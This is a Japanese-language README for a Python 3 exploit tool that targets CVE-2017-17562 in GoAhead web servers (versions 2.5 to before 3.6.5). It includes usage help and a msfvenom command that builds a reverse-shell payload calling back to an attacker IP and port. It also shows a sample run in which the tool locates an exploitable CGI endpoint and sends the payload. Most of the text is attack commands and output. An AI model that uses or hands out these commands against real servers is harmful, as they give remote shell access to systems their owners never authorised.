
CVE-2017-17562 用のスタンドアロン Python 3 エクスプロイト
CVE-2017-17562 用のスタンドアロンPython 3リバースシェルエクスプロイト。GoAhead Webサーバ バージョン2.5 < 3.6.5で動作します。
ブログ記事はこちら。
Python 3.7で記述・テスト済み。ベースはこちらのPOCと脆弱性環境。一部のコードはMetasploitモジュールから借用。
元のPOCはこちら。元のPOCエクスプロイトが動作せず、エクスプロイト対象のCGIモジュールを検索する関数が欠落している(つまり、ユーザーがその場所を指定するか、再帰検索用のワードリストを提供する必要がある)ことに気付いたため、これを書きました。
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -h
usage: exploit.py [-h] -rhost RHOST [-rport RPORT] [-cgipath CGIPATH] -payload
PAYLOAD
ペイロードを最初に生成してください。例:
msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f elf-so -o dir/payload.so
必須引数:
-rhost RHOST 対象ホスト(GoAhead Webサーバが動作)例: 192.168.92.153
-payload PAYLOAD 悪意のあるelf-soペイロードへのパス。例: dir/payload.so
オプション引数:
-rport RPORT GoAhead Webサーバの対象ポート。デフォルト: 8080
-cgipath CGIPATH GoAheadサーバ上のCGIスクリプトへのパス。デフォルト: '/cgi-bin'(http://192.168.92.153/cgi-bin の場合)
エクスプロイトの呼び出し例:
./exploit.py -rhost 192.168.92.153 -rport 8080 -cgipath /cgi-bin/index -payload dir/payload.so
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -rhost 192.168.92.153 -rport 8080 -payload payload3.so
Searching 390 paths for an exploitable CGI endpoint...
Exploitable CGI located at /cgi-bin/index
Sending payload...